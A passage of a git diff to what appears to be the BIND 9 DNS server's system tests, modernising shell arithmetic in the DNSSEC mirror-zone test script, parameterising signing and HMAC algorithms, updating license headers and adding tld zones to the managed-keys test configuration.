 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="-p ${PORT} -b 10.53.0.1 +dnssec +time=2 +tries=1 +multi"
@@ -67,11 +71,11 @@ reload_zone() {
 status=0
 n=0
 
-ORIGINAL_SERIAL=`awk '$2 == "SOA" {print $5}' ns2/verify.db.in`
-UPDATED_SERIAL_BAD=`expr ${ORIGINAL_SERIAL} + 1`
-UPDATED_SERIAL_GOOD=`expr ${ORIGINAL_SERIAL} + 2`
+ORIGINAL_SERIAL=$(awk '$2 == "SOA" {print $5}' ns2/verify.db.in)
+UPDATED_SERIAL_BAD=$((ORIGINAL_SERIAL + 1))
+UPDATED_SERIAL_GOOD=$((ORIGINAL_SERIAL + 2))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that an unsigned mirror zone is rejected ($n)"
 ret=0
 wait_for_transfer verify-unsigned
@@ -81,9 +85,9 @@ grep "${ORIGINAL_SERIAL}.*; serial" dig.out.ns3.test$n > /dev/null && ret=1
 nextpartpeek ns3/named.run | grep "verify-unsigned.*Zone contains no DNSSEC keys" > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-unsigned.*mirror zone is now in use" > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that a mirror zone signed using an untrusted key is rejected ($n)"
 ret=0
 nextpartreset ns3/named.run
@@ -94,9 +98,9 @@ grep "${ORIGINAL_SERIAL}.*; serial" dig.out.ns3.test$n > /dev/null && ret=1
 nextpartpeek ns3/named.run | grep "verify-untrusted.*No trusted DNSKEY found" > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-untrusted.*mirror zone is now in use" > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that a mirror zone signed using a CSK without the SEP bit set is accepted ($n)"
 ret=0
 nextpartreset ns3/named.run
@@ -106,9 +110,9 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null && ret=1
 grep "${ORIGINAL_SERIAL}.*; serial" dig.out.ns3.test$n > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-csk.*mirror zone is now in use" > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that an AXFR of an incorrectly signed mirror zone is rejected ($n)"
 ret=0
 nextpartreset ns3/named.run
@@ -116,12 +120,12 @@ wait_for_transfer verify-axfr
 $DIG $DIGOPTS @10.53.0.3 +norec verify-axfr SOA > dig.out.ns3.test$n 2>&1 || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "${UPDATED_SERIAL_BAD}.*; serial" dig.out.ns3.test$n > /dev/null && ret=1
-nextpartpeek ns3/named.run | grep "No correct RSASHA256 signature for verify-axfr SOA" > /dev/null || ret=1
+nextpartpeek ns3/named.run | grep "No correct ${DEFAULT_ALGORITHM} signature for verify-axfr SOA" > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-axfr.*mirror zone is now in use" > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that an AXFR of an updated, correctly signed mirror zone is accepted ($n)"
 ret=0
 nextpart ns3/named.run > /dev/null
@@ -134,9 +138,9 @@ grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null && ret=1
 grep "${UPDATED_SERIAL_GOOD}.*; serial" dig.out.ns3.test$n > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-axfr.*mirror zone is now in use" > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that an IXFR of an incorrectly signed mirror zone is rejected ($n)"
 nextpartreset ns3/named.run
 ret=0
@@ -157,7 +161,7 @@ cp ns2/verify-ixfr.db.signed.jnl ns3/verify-journal.db.bad.mirror.jnl
 $RNDCCMD 10.53.0.3 refresh verify-ixfr > /dev/null 2>&1
 wait_for_transfer verify-ixfr
 # Ensure the transfer was incremental as expected.
-if [ `nextpartpeek ns3/named.run | grep "verify-ixfr.*got incremental response" | wc -l` -eq 0 ]; then
+if [ $(nextpartpeek ns3/named.run | grep "verify-ixfr.*got incremental response" | wc -l) -eq 0 ]; then
 	echo_i "failed: did not get an incremental response"
 	ret=1
 fi
@@ -167,14 +171,14 @@ $DIG $DIGOPTS @10.53.0.3 +norec verify-ixfr SOA > dig.out.ns3.test$n 2>&1 || ret
 # zone should have been successfully verified.
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null && ret=1
 grep "${UPDATED_SERIAL_BAD}.*; serial" dig.out.ns3.test$n > /dev/null && ret=1
-nextpartpeek ns3/named.run | grep "No correct RSASHA256 signature for verify-ixfr SOA" > /dev/null || ret=1
+nextpartpeek ns3/named.run | grep "No correct ${DEFAULT_ALGORITHM} signature for verify-ixfr SOA" > /dev/null || ret=1
 # Despite the verification failure for this IXFR, this mirror zone should still
 # be in use as its previous version should have been verified successfully.
 nextpartpeek ns3/named.run | grep "verify-ixfr.*mirror zone is no longer in use" > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that an IXFR of an updated, correctly signed mirror zone is accepted after AXFR failover ($n)"
 ret=0
 nextpart ns3/named.run > /dev/null
@@ -197,9 +201,9 @@ grep "${UPDATED_SERIAL_GOOD}.*; serial" dig.out.ns3.test$n > /dev/null || ret=1
 # already be in use before this test case is checked.
 nextpartpeek ns3/named.run | grep "verify-ixfr.*mirror zone is now in use" > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that loading an incorrectly signed mirror zone from disk fails ($n)"
 ret=0
 nextpartreset ns3/named.run
@@ -207,38 +211,38 @@ wait_for_load verify-load ${UPDATED_SERIAL_BAD} ns3/named.run
 $DIG $DIGOPTS @10.53.0.3 +norec verify-load SOA > dig.out.ns3.test$n 2>&1 || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "${UPDATED_SERIAL_BAD}.*; serial" dig.out.ns3.test$n > /dev/null && ret=1
-nextpartpeek ns3/named.run | grep "No correct RSASHA256 signature for verify-load SOA" > /dev/null || ret=1
+nextpartpeek ns3/named.run | grep "No correct ${DEFAULT_ALGORITHM} signature for verify-load SOA" > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-load.*mirror zone is now in use" > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "ensuring trust anchor telemetry queries are sent upstream for a mirror zone ($n)"
 ret=0
 # ns3 is started with "-T tat=3", so TAT queries should have already been sent.
-grep "_ta-[-0-9a-f]*/NULL" ns1/named.run > /dev/null || ret=1
+wait_for_log_re 3 "_ta-[-0-9a-f]*/NULL" ns1/named.run || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that loading a correctly signed mirror zone from disk succeeds ($n)"
 ret=0
-stop_server --use-rndc --port ${CONTROLPORT} mirror ns3
+stop_server --use-rndc --port ${CONTROLPORT} ns3
 cat ns2/verify-load.db.good.signed > ns3/verify-load.db.mirror
 nextpart ns3/named.run > /dev/null
-start_server --noclean --restart --port ${PORT} mirror ns3
+start_server --noclean --restart --port ${PORT} ns3
 wait_for_load verify-load ${UPDATED_SERIAL_GOOD} ns3/named.run
 $DIG $DIGOPTS @10.53.0.3 +norec verify-load SOA > dig.out.ns3.test$n 2>&1 || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null && ret=1
 grep "${UPDATED_SERIAL_GOOD}.*; serial" dig.out.ns3.test$n > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-load.*mirror zone is now in use" > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that loading a journal for an incorrectly signed mirror zone fails ($n)"
 ret=0
-stop_server --use-rndc --port ${CONTROLPORT} mirror ns3
+stop_server --use-rndc --port ${CONTROLPORT} ns3
 cp ns3/verify-journal.db.mirror ns3/verify-ixfr.db.mirror
 cp ns3/verify-journal.db.bad.mirror.jnl ns3/verify-ixfr.db.mirror.jnl
 # Temporarily disable transfers of the "verify-ixfr" zone on ns2.  This is
@@ -253,12 +257,12 @@ sed '/^zone "verify-ixfr" {$/,/^};$/ {
 mv ns2/named.conf.modified ns2/named.conf
 rndc_reconfig ns2 10.53.0.2
 nextpart ns3/named.run > /dev/null
-start_server --noclean --restart --port ${PORT} mirror ns3
+start_server --noclean --restart --port ${PORT} ns3
 wait_for_load verify-ixfr ${UPDATED_SERIAL_BAD} ns3/named.run
 $DIG $DIGOPTS @10.53.0.3 +norec verify-ixfr SOA > dig.out.ns3.test$n 2>&1 || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null || ret=1
 grep "${UPDATED_SERIAL_BAD}.*; serial" dig.out.ns3.test$n > /dev/null && ret=1
-nextpartpeek ns3/named.run | grep "No correct RSASHA256 signature for verify-ixfr SOA" > /dev/null || ret=1
+nextpartpeek ns3/named.run | grep "No correct ${DEFAULT_ALGORITHM} signature for verify-ixfr SOA" > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-ixfr.*mirror zone is now in use" > /dev/null && ret=1
 # Restore transfers for the "verify-ixfr" zone on ns2.
 # (NOTE: Keep the embedded newline in the sed function list below.)
@@ -268,25 +272,25 @@ sed '/^zone "verify-ixfr" {$/,/^};$/ {
 mv ns2/named.conf.modified ns2/named.conf
 rndc_reconfig ns2 10.53.0.2
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that loading a journal for a correctly signed mirror zone succeeds ($n)"
 ret=0
-stop_server --use-rndc --port ${CONTROLPORT} mirror ns3
+stop_server --use-rndc --port ${CONTROLPORT} ns3
 cp ns3/verify-journal.db.mirror ns3/verify-ixfr.db.mirror
 cp ns3/verify-journal.db.good.mirror.jnl ns3/verify-ixfr.db.mirror.jnl
 nextpart ns3/named.run > /dev/null
-start_server --noclean --restart --port ${PORT} mirror ns3
+start_server --noclean --restart --port ${PORT} ns3
 wait_for_load verify-ixfr ${UPDATED_SERIAL_GOOD} ns3/named.run
 $DIG $DIGOPTS @10.53.0.3 +norec verify-ixfr SOA > dig.out.ns3.test$n 2>&1 || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null && ret=1
 grep "${UPDATED_SERIAL_GOOD}.*; serial" dig.out.ns3.test$n > /dev/null || ret=1
 nextpartpeek ns3/named.run | grep "verify-ixfr.*mirror zone is now in use" > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking delegations sourced from a mirror zone ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 foo.example A +norec > dig.out.ns3.test$n 2>&1 || ret=1
@@ -299,9 +303,9 @@ grep "example.*IN.*NS" dig.out.ns3.test$n > /dev/null || ret=1
 grep "example.*IN.*DS" dig.out.ns3.test$n > /dev/null || ret=1
 grep "ns2.example.*A.*10.53.0.2" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that resolution involving a mirror zone works as expected ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 foo.example A > dig.out.ns3.test$n 2>&1 || ret=1
@@ -311,9 +315,9 @@ grep "flags:.* ad" dig.out.ns3.test$n > /dev/null || ret=1
 # Ensure ns1 was not queried.
 grep "query 'foo.example/A/IN'" ns1/named.run > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that non-recursive queries for names below mirror zone get responded from cache ($n)"
 ret=0
 # Issue a non-recursive query for an RRset which is expected to be in cache.
@@ -325,9 +329,9 @@ grep "flags:.* ad" dig.out.ns3.test$n > /dev/null || ret=1
 grep "ANSWER: 0" dig.out.ns3.test$n > /dev/null && ret=1
 grep "foo.example.*IN.*A.*127.0.0.1" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that delegations from cache which improve mirror zone delegations are properly handled ($n)"
 ret=0
 # First, issue a recursive query in order to cache an RRset which is not within
@@ -346,9 +350,9 @@ grep "ANSWER: 0" dig.out.ns3.test$n.2 > /dev/null || ret=1
 grep "sub.example.*IN.*NS" dig.out.ns3.test$n.2 > /dev/null || ret=1
 grep "sub.example.*IN.*DS" dig.out.ns3.test$n.2 > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking flags set in a DNSKEY response sourced from a mirror zone ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 . DNSKEY > dig.out.ns3.test$n 2>&1 || ret=1
@@ -357,9 +361,9 @@ grep "NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.* aa" dig.out.ns3.test$n > /dev/null && ret=1
 grep "flags:.* ad" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking flags set in a SOA response sourced from a mirror zone ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 . SOA > dig.out.ns3.test$n 2>&1 || ret=1
@@ -368,9 +372,9 @@ grep "NOERROR" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.* aa" dig.out.ns3.test$n > /dev/null && ret=1
 grep "flags:.* ad" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that resolution succeeds with unavailable mirror zone data ($n)"
 ret=0
 wait_for_transfer initially-unavailable
@@ -401,9 +405,9 @@ grep "flags:.* ad" dig.out.ns3.test$n.2 > /dev/null || ret=1
 # Ensure the authoritative server was not queried.
 nextpart ns2/named.run | grep "query 'foo.initially-unavailable/A/IN'" > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that resolution succeeds with expired mirror zone data ($n)"
 ret=0
 # Reconfigure ns2 so that the zone from the previous test can no longer be
@@ -415,10 +419,10 @@ mv ns2/named.conf.modified ns2/named.conf
 rndc_reconfig ns2 10.53.0.2
 # Stop ns3, update the timestamp of the zone file to one far in the past, then
 # restart ns3.
-stop_server --use-rndc --port ${CONTROLPORT} mirror ns3
+stop_server --use-rndc --port ${CONTROLPORT} ns3
 touch -t 200001010000 ns3/initially-unavailable.db.mirror
 nextpart ns3/named.run > /dev/null
-start_server --noclean --restart --port ${PORT} mirror ns3
+start_server --noclean --restart --port ${PORT} ns3
 # Ensure named attempts to retransfer the zone due to its expiry.
 wait_for_transfer initially-unavailable
 # Ensure the expected messages were logged.
@@ -432,9 +436,9 @@ grep "flags:.* ad" dig.out.ns3.test$n > /dev/null || ret=1
 # Sanity check: the authoritative server should have been queried.
 nextpart ns2/named.run | grep "query 'foo.initially-unavailable/A/IN'" > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that clients without cache access cannot retrieve mirror zone data ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 -b 10.53.0.3 +norec . SOA > dig.out.ns3.test$n 2>&1 || ret=1
@@ -442,32 +446,32 @@ $DIG $DIGOPTS @10.53.0.3 -b 10.53.0.3 +norec . SOA > dig.out.ns3.test$n 2>&1 ||
 grep "REFUSED" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.* ad" dig.out.ns3.test$n > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that outgoing transfers of mirror zones are disabled by default ($n)"
 ret=0
 $DIG $DIGOPTS @10.53.0.3 . AXFR > dig.out.ns3.test$n 2>&1 || ret=1
 grep "; Transfer failed" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that notifies are disabled by default for mirror zones ($n)"
 ret=0
 grep "initially-unavailable.*sending notifies" ns3/named.run > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking output of \"rndc zonestatus\" for a mirror zone ($n)"
 ret=0
 $RNDCCMD 10.53.0.3 zonestatus . > rndc.out.ns3.test$n 2>&1
 grep "type: mirror" rndc.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that \"rndc reconfig\" properly handles a mirror -> secondary zone type change ($n)"
 ret=0
 # Sanity check before we start.
@@ -492,9 +496,9 @@ grep "NOERROR" dig.out.ns3.test$n.2 > /dev/null || ret=1
 grep "flags:.* aa" dig.out.ns3.test$n.2 > /dev/null || ret=1
 grep "flags:.* ad" dig.out.ns3.test$n.2 > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that \"rndc reconfig\" properly handles a secondary -> mirror zone type change ($n)"
 ret=0
 # Put an incorrectly signed version of the zone in the zone file used by ns3.
@@ -511,11 +515,11 @@ rndc_reconfig ns3 10.53.0.3
 wait_for_load verify-reconfig ${UPDATED_SERIAL_BAD} ns3/named.run
 $DIG $DIGOPTS @10.53.0.3 +norec verify-reconfig SOA > dig.out.ns3.test$n 2>&1 || ret=1
 grep "${UPDATED_SERIAL_BAD}.*; serial" dig.out.ns3.test$n > /dev/null && ret=1
-nextpart ns3/named.run | grep "No correct RSASHA256 signature for verify-reconfig SOA" > /dev/null || ret=1
+nextpart ns3/named.run | grep "No correct ${DEFAULT_ALGORITHM} signature for verify-reconfig SOA" > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that a mirror zone can be added using rndc ($n)"
 ret=0
 # Sanity check: the zone should not exist in the root zone.
@@ -533,9 +537,9 @@ grep "NOERROR" dig.out.ns3.test$n.2 > /dev/null || ret=1
 grep "flags:.* aa" dig.out.ns3.test$n.2 > /dev/null && ret=1
 grep "flags:.* ad" dig.out.ns3.test$n.2 > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n + 1))
 echo_i "checking that a mirror zone can be deleted using rndc ($n)"
 ret=0
 # Remove the mirror zone added in the previous test.
@@ -548,7 +552,7 @@ grep "NXDOMAIN" dig.out.ns3.test$n > /dev/null || ret=1
 grep "flags:.* aa" dig.out.ns3.test$n > /dev/null && ret=1
 grep "flags:.* ad" dig.out.ns3.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/mirror/tests_sh_mirror.py b/bin/tests/system/mirror/tests_sh_mirror.py
new file mode 100644
index 0000000000..f8d6b9d247
--- /dev/null
+++ b/bin/tests/system/mirror/tests_sh_mirror.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_mirror(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/mkeys/README b/bin/tests/system/mkeys/README
index e3f5440102..25637bfe74 100644
--- a/bin/tests/system/mkeys/README
+++ b/bin/tests/system/mkeys/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 This is for testing RFC 5011 Automated Updates of DNSSEC Trust Anchors.
 
diff --git a/bin/tests/system/mkeys/clean.sh b/bin/tests/system/mkeys/clean.sh
index 772333e829..045c9b21c5 100644
--- a/bin/tests/system/mkeys/clean.sh
+++ b/bin/tests/system/mkeys/clean.sh
@@ -1,25 +1,34 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
 rm -f */K* */*.signed */trusted.conf */*.jnl */*.bk
+rm -f */island.conf
+rm -f */private.conf
 rm -f */managed*.conf ns1/managed.key ns1/managed.key.id
 rm -f */managed-keys.bind* */named.secroots
 rm -f */named.conf
 rm -f */named.memstats */named.run */named.run.prev
 rm -f dig.out* delv.out* rndc.out* signer.out*
 rm -f dsset-. ns1/dsset-.
-rm -f ns1/zone.key
 rm -f ns*/managed-keys.bind*
 rm -f ns*/named.lock
+rm -f ns1/dsset-sub.tld.
+rm -f ns1/dsset-tld.
 rm -f ns1/named.secroots ns1/root.db.signed* ns1/root.db.tmp
+rm -f ns1/signer.out.*
+rm -f ns1/zone.key
+rm -f ns3/broken.conf
+rm -f ns4/dsset-sub.foo.
 rm -f ns5/named.args
 rm -f ns7/view1.mkeys ns7/view2.mkeys
 rm -rf ns4/nope
diff --git a/bin/tests/system/mkeys/ns1/named1.conf.in b/bin/tests/system/mkeys/ns1/named1.conf.in
index 9033a2a226..4271668ea9 100644
--- a/bin/tests/system/mkeys/ns1/named1.conf.in
+++ b/bin/tests/system/mkeys/ns1/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -32,7 +34,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -42,6 +44,14 @@ controls {
 zone "." {
 	type primary;
 	file "root.db.signed";
-	allow-update { any; };
-	auto-dnssec maintain;
+};
+
+zone "tld" {
+	type primary;
+	file "tld.db.signed";
+};
+
+zone "sub.tld" {
+	type primary;
+	file "sub.tld.db.signed";
 };
diff --git a/bin/tests/system/mkeys/ns1/named2.conf.in b/bin/tests/system/mkeys/ns1/named2.conf.in
index 5b71d11e19..4271668ea9 100644
--- a/bin/tests/system/mkeys/ns1/named2.conf.in
+++ b/bin/tests/system/mkeys/ns1/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -32,7 +34,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -43,3 +45,13 @@ zone "." {
 	type primary;
 	file "root.db.signed";
 };
+
+zone "tld" {
+	type primary;
+	file "tld.db.signed";
+};
+
+zone "sub.tld" {
+	type primary;
+	file "sub.tld.db.signed";
+};
diff --git a/bin/tests/system/mkeys/ns1/named3.conf.in b/bin/tests/system/mkeys/ns1/named3.conf.in
index 8944c77171..686177edb0 100644
--- a/bin/tests/system/mkeys/ns1/named3.conf.in
+++ b/bin/tests/system/mkeys/ns1/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -26,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -37,3 +39,13 @@ zone "." {
 	type primary;
 	file "root.db.signed";
 };
+
+zone "tld" {
+	type primary;
+	file "tld.db.signed";
+};
+
+zone "sub.tld" {
+	type primary;
+	file "sub.tld.db.signed";
+};
diff --git a/bin/tests/system/mkeys/ns1/root.db b/bin/tests/system/mkeys/ns1/root.db
index 0070f13942..333ee45759 100644
--- a/bin/tests/system/mkeys/ns1/root.db
+++ b/bin/tests/system/mkeys/ns1/root.db
@@ -1,15 +1,17 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
 $TTL 20
 .                      IN SOA  gson.nominum.com. a.root.servers.nil. (
-                               2000042100      ; serial
+                               1               ; serial
                                600             ; refresh
                                600             ; retry
                                1200            ; expire
@@ -21,3 +23,6 @@ a.root-servers.nil.    A       10.53.0.1
 ; no delegation
 
 example.               TXT     "This is a test."
+
+tld.		       NS      ns.tld.
+ns.tld.		       A       10.53.0.1
diff --git a/bin/tests/system/mkeys/ns1/sign.sh b/bin/tests/system/mkeys/ns1/sign.sh
index dcc269dd25..0a24811afc 100644
--- a/bin/tests/system/mkeys/ns1/sign.sh
+++ b/bin/tests/system/mkeys/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
